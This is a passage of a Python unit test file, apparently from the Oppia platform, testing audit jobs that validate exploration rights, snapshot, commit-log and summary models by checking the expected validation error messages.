self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) rights_manager.assign_role_for_exploration( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) rights_manager.assign_role_for_exploration( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) self.model_instance_0 = exp_models.ExplorationRightsModel.get_by_id('0') self.model_instance_1 = exp_models.ExplorationRightsModel.get_by_id('1') self.model_instance_2 = exp_models.ExplorationRightsModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.ExplorationRightsModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_exploration(self.owner, '0') expected_output = [ u'[u\'fully-validated ExplorationRightsModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationRightsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRightsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_first_published_datetime_than_current_time(self): rights_manager.publish_exploration(self.owner, '0') rights_manager.publish_exploration(self.owner, '1') self.model_instance_0.first_published_msec = ( self.model_instance_0.first_published_msec * 1000000.0) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for first published msec check ' 'of ExplorationRightsModel\', ' '[u\'Entity id 0: The first_published_msec field has a ' 'value %s which is greater than the time when the job was ' 'run\']]' ) % (self.model_instance_0.first_published_msec), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field exploration_ids having ' 'value 0, expect model ExplorationModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_cloned_from_exploration_model_failure(self): self.model_instance_0.cloned_from = 'invalid' self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for ' 'cloned_from_exploration_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field cloned_from_exploration_ids ' 'having value invalid, expect model ExplorationModel with id ' 'invalid but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_exploration( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ' 'ExplorationRightsSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model ExplorationRightsSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRightsSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ExplorationRightsSnapshotMetadataModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: if exp.id != '0': exp_services.save_new_exploration(self.owner_id, exp) else: exp_services.save_new_exploration(self.user_id, exp) self.model_instance_0 = ( exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationRightsSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated ExplorationRightsSnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_rights_model_failure(self): exp_models.ExplorationRightsModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field exploration_rights_ids ' 'having value 0, expect model ExplorationRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_rights_ids having value 0, expect model ' 'ExplorationRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationRightsSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration rights model ' 'version check of ExplorationRightsSnapshotMetadataModel\', ' '[u\'Entity id 0-3: ExplorationRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'change_exploration_status', 'old_status': rights_manager.ACTIVITY_STATUS_PUBLIC, }, { 'cmd': 'release_ownership', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_exploration_status check of ' 'ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'old_status\': u\'public\', ' 'u\'cmd\': u\'change_exploration_status\'} ' 'failed with error: The following required ' 'attributes are missing: new_status"]]' ), ( u'[u\'failed validation check for commit cmd ' 'release_ownership check of ' 'ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'release_ownership\', ' 'u\'invalid_attribute\': u\'invalid\'} ' 'failed with error: The following extra attributes ' 'are present: invalid_attribute"]]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRightsSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ExplorationRightsSnapshotContentModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = ( exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationRightsSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated ExplorationRightsSnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationRightsSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRightsSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationRightsModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationRightsSnapshotContentModel\', ' '[u"Entity id 0-1: based on field exploration_rights_ids ' 'having value 0, expect model ExplorationRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_rights_ids having value 0, expect model ' 'ExplorationRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationRightsSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration rights model ' 'version check of ExplorationRightsSnapshotContentModel\', ' '[u\'Entity id 0-3: ExplorationRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot content model id\']]' ), ( u'[u\'fully-validated ExplorationRightsSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationCommitLogEntryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationCommitLogEntryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.rights_model_instance = ( exp_models.ExplorationCommitLogEntryModel( id='rights-1-1', user_id=self.owner_id, username=self.OWNER_USERNAME, exploration_id='1', commit_type='edit', commit_message='', commit_cmds=[], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_community_owned=False, post_commit_is_private=False)) self.rights_model_instance.put() self.model_instance_0 = ( exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-0-1')) self.model_instance_1 = ( exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-1-1')) self.model_instance_2 = ( exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationCommitLogEntryModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationCommitLogEntryModel\', 5]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() self.rights_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationCommitLogEntryModel\', ' '[u"Entity id exploration-0-1: based on field ' 'exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 ' 'but it doesn\'t exist", u"Entity id exploration-0-2: based ' 'on field exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_rights_model_failure(self): exp_models.ExplorationRightsModel.get_by_id('1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationCommitLogEntryModel\', ' '[u"Entity id rights-1-1: based on field ' 'exploration_rights_ids having value 1, expect model ' 'ExplorationRightsModel with id 1 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output( self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationCommitLogEntryModel.create( '0', 3, self.owner_id, self.OWNER_USERNAME, 'edit', 'msg', [{}], constants.ACTIVITY_STATUS_PUBLIC, False)) model_with_invalid_version_in_id.exploration_id = '0' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration model ' 'version check of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Exploration model corresponding ' 'to id 0 has a version 1 which is less than ' 'the version 3 in commit log entry model id\']]' ) % (model_with_invalid_version_in_id.id), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_id(self): model_with_invalid_id = ( exp_models.ExplorationCommitLogEntryModel( id='invalid-0-1', user_id=self.owner_id, username=self.OWNER_USERNAME, commit_type='edit', commit_message='msg', commit_cmds=[{}], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_is_private=False)) model_with_invalid_id.exploration_id = '0' model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % (model_with_invalid_id.id), ( u'[u\'failed validation check for commit cmd check of ' 'ExplorationCommitLogEntryModel\', [u\'Entity id invalid-0-1: ' 'No commit command domain object defined for entity with ' 'commands: [{}]\']]'), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_type(self): self.model_instance_0.commit_type = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit type check of ' 'ExplorationCommitLogEntryModel\', ' '[u\'Entity id exploration-0-1: Commit type invalid is ' 'not allowed\']]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_post_commit_status(self): self.model_instance_0.post_commit_status = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit status check ' 'of ExplorationCommitLogEntryModel\', ' '[u\'Entity id exploration-0-1: Post commit status invalid ' 'is invalid\']]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_true_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'public' self.model_instance_0.post_commit_is_private = True self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'public but post_commit_is_private is True\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_false_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'private' self.model_instance_0.post_commit_is_private = False self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'private but post_commit_is_private is False\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_state' }, { 'cmd': 'delete_state', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_state check of ' 'ExplorationCommitLogEntryModel\', ' '[u"Entity id exploration-0-1: Commit command domain ' 'validation for command: {u\'cmd\': u\'delete_state\', ' 'u\'invalid_attribute\': u\'invalid\'} ' 'failed with error: The following required attributes ' 'are missing: state_name, ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_state check of ' 'ExplorationCommitLogEntryModel\', ' '[u"Entity id exploration-0-1: Commit command domain ' 'validation for command: {u\'cmd\': u\'add_state\'} ' 'failed with error: The following required attributes ' 'are missing: state_name"]]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) class ExpSummaryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExpSummaryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' contributor_email = 'user@contributor.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.signup(contributor_email, 'contributor') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) self.contributor_id = self.get_user_id_from_email(contributor_email) language_codes = ['ar', 'en', 'en'] explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for exp in explorations: exp.tags = ['math', 'art'] exp_services.save_new_exploration(self.owner_id, exp) rights_manager.assign_role_for_exploration( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) exp_services.update_exploration( self.contributor_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') rights_manager.assign_role_for_exploration( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) rating_services.assign_rating_to_exploration(self.user_id, '0', 3) rating_services.assign_rating_to_exploration(self.viewer_id, '0', 4) self.model_instance_0 = exp_models.ExpSummaryModel.get_by_id('0') self.model_instance_1 = exp_models.ExpSummaryModel.get_by_id('1') self.model_instance_2 = exp_models.ExpSummaryModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.ExpSummaryModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_exploration(self.owner, '0') exp_services.update_exploration( self.owner_id, '1', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExpSummaryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExpSummaryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): exp_models.ExplorationModel.get_by_id('1').delete( self.owner_id, '') exp_models.ExplorationModel.get_by_id('2').delete( self.owner_id, '') self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExpSummaryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_first_published_datetime_than_current_time(self): rights_manager.publish_exploration(self.owner, '0') rights_manager.publish_exploration(self.owner, '1') self.model_instance_0 = exp_models.ExpSummaryModel.get_by_id('0') self.model_instance_0.first_published_msec = ( self.model_instance_0.first_published_msec * 1000000.0) self.model_instance_0.put() rights_model = exp_models.ExplorationRightsModel.get_by_id('0') rights_model.first_published_msec = ( self.model_instance_0.first_published_msec) rights_model.commit(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for first published msec check ' 'of ExpSummaryModel\', ' '[u\'Entity id 0: The first_published_msec field has a ' 'value %s which is greater than the time when the ' 'job was run\']]' ) % (self.model_instance_0.first_published_msec), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field exploration_ids having ' 'value 0, expect model ExplorationModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_exploration( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_contributor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.contributor_id).delete() expected_output = [ ( u'[u\'failed validation check for contributor_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field contributor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.contributor_id, self.contributor_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_model_last_updated(self): last_human_update_time = ( self.model_instance_0.exploration_model_last_updated) self.model_instance_0.exploration_model_last_updated = ( datetime.datetime.utcnow() + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for exploration model last ' 'updated check of ExpSummaryModel\', ' '[u\'Entity id %s: The exploration_model_last_updated ' 'field: %s does not match the last time a commit was ' 'made by a human contributor: %s\']]' ) % ( self.model_instance_0.id, self.model_instance_0.exploration_model_last_updated, last_human_update_time), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_schema(self): self.model_instance_0.ratings = {'10': 4, '5': 15} self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'ExpSummaryModel\', ' '[u\'Entity id 0: Entity fails domain validation with ' 'the error Expected ratings to have keys: 1, 2, 3, 4, 5, ' 'received 10, 5\']]' ), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def 